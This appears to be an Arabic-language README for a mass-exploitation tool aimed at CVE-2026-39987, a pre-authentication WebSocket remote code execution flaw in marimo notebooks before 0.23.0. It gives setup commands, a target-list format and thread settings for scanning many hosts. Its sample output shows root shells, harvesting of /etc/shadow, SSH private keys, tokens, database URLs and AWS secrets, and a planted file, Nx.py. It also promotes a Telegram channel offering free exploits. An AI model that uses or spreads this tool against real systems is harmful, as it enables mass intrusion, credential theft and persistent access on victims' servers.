
marimo هو دفتر ملاحظات Python تفاعلي. قبل الإصدار 0.23.0، يحتوي Marimo على ثغرة RCE قبل المصادقة.
marimo هو دفتر ملاحظات Python تفاعلي. قبل الإصدار 0.23.0، يحتوي Marimo على ثغرة RCE قبل المصادقة
___ _ ___ __ __ __ __ ___ __ __ _______
/ (_)(_| |_// (_) / )/ \/ )/ / \/ |/ |/ \ /
| | | \__ /| | /| __ __/\_/|\_/|\__/ /
| | | / -----/ | |/ |/ \----- \ | |/ \ /
\___/ \_/ \___/ /___\__//___\__/ \___/ | |\__//
/terminal/ws — RCE قبل المصادقة عبر WebSocket غير مصادق
المؤلف: Nxploited · Telegram: @KNxploited
📢 انضم إلى قناة Telegram للحصول على أحدث الثغرات والاستغلالات المجانية:
🔗 Nxploited ZeroDay Hub — t.me/KNxploited
CVE-2026-39987 هو ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد قبل المصادقة تؤثر على Marimo، وهي منصة دفاتر ملاحظات Python تفاعلية مفتوحة المصدر.
نقطة نهاية WebSocket الطرفية /terminal/ws تفتقر تماماً إلى التحقق من المصادقة، مما يسمح لأي مهاجم بعيد غير مصادق بالحصول على قشرة PTY كاملة وتنفيذ أوامر نظام عشوائية بصلاحيات العملية الجارية — غالباً root داخل عمليات النشر المعتمدة على الحاويات.
على عكس نقاط نهاية WebSocket الأخرى مثل /ws، التي تستدعي بشكل صحيح validate_auth() قبل قبول الاتصالات، تتحقق نقطة النهاية /terminal/ws فقط من وضع التشغيل وتوافق المنصة، متجاوزةً المصادقة بالكامل.
✅ تم إصلاحه في:
marimo >= 0.23.0❌ جميع الإصدارات السابقة لـ0.23.0معرضة للخطر
| الخاصية | القيمة |
|---|---|
| CVE ID | CVE-2026-39987 |
| البرنامج المتأثر | marimo < 0.23.0 |
| فئة الثغرة | RCE قبل المصادقة عبر WebSocket غير مصادق |
| نقطة النهاية المتأثرة | /terminal/ws |
| متجه الهجوم | الشبكة |
| المصادقة المطلوبة | ❌ لا شيء |
| تفاعل المستخدم | ❌ لا شيء |
| الخطورة | 🔴 حرجة |
| التأثير | قشرة PTY كاملة · تنفيذ أوامر عشوائية |
| الإصدار المُصحَّح | marimo 0.23.0 |
/ws → calls validate_auth() ✅ Authentication enforced
/terminal/ws → skips validate_auth() ❌ No authentication
يتحقق معالج /terminal/ws فقط من:
لا يتحقق أبداً من رموز الجلسة أو ملفات تعريف الارتباط أو أي شكل من أشكال الهوية — مما يجعل كل مثيل Marimo مكشوفاً قشرةً مباشرة.
.py.env · wp-config.php · مفاتيح SSH الخاصة · /etc/shadowPython 3.10 or higher
تثبيت التبعيات:
pip install websockets rich requests urllib3
أو باستخدام ملف المتطلبات:
pip install -r requirements.txt
requirements.txt
websockets
rich
requests
urllib3
أنشئ ملفاً باسم targets.txt مع هدف واحد في كل سطر.
تقبل الأداة جميع التنسيقات:
192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718
التنسيقات المدعومة: IP مباشر · IP:منفذ · نطاق · نطاق:منفذ ·
http://·https://·ws://·wss://
python3 CVE-2026-39987.py
▸ Targets file (default: targets.txt) : targets.txt
▸ Threads (default: 50) : 100
نطاق الخيوط: 1–300. الموصى به: 50–150 حسب شبكتك.
╭──────────────────────────────────────────────────────────╮
│ CVE-2026-39987 · Marimo WebSocket RCE │
│ MASS SCANNER · FULL ENUM · SMART DETECT │
│ By: Nxploited · github.com/Nxploited · @KNxploited │
╰──────────────────────────────────────────────────────────╯
══════════════ ws://192.168.1.100:2718/terminal/ws ══════════
╭────────────────────────────────────────╮
│ ◈◈◈ ROOT ACCESS ◈◈◈ │
│ ws://192.168.1.100:2718 │
│ uid ▸ uid=0(root) groups=[root] │
╰────────────────────────────────────────╯
── ENVIRONMENT ──────────────────────────────────────────
✦ Type MARIMO
◈ Docker True
◈ Marimo version 0.22.1
◈ Notebook directory /app/notebooks
── MARIMO — NOTEBOOKS ───────────────────────────────────
✦ Notebooks 7 found
· /app/notebooks/analysis.py
· /app/notebooks/data_pipeline.py
· /app/notebooks/etl_job.py
── MARIMO — TOKENS ──────────────────────────────────────
✦ Token CLI secret-token-abc123xyz
✦ .marimo.toml /root/.marimo.toml
── /etc SENSITIVE ──────────────────────────────────────
✦ /etc/shadow READABLE [42 entries]
◈ /etc/passwd [42 lines]
◈ /etc/crontab [12 lines]
── SSH KEYS ─────────────────────────────────────────────
✦ /root/.ssh/id_rsa FOUND
✦ /root/.ssh/id_ed25519 FOUND
── DATABASES ────────────────────────────────────────────
✦ MySQL DATABASES LISTED
✦ Redis PONG — NO AUTH
✦ DuckDB files /app/notebooks/data.duckdb
── SENSITIVE ENV VARS ───────────────────────────────────
✦ DATABASE_URL postgresql://admin:p4ss@db:5432/prod
✦ AWS_SECRET_ACCESS_KEY redacted...
── NX FILE DROP ──────────────────────────────��──────────
✦ Shell write /app/notebooks/Nx.py
✦ HTTP access http://192.168.1.100:2718/Nx.py
── COMPLETE ─────────────────────────────────────────────
◈ Saved to nx_output/192.168.1.100_2718/
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s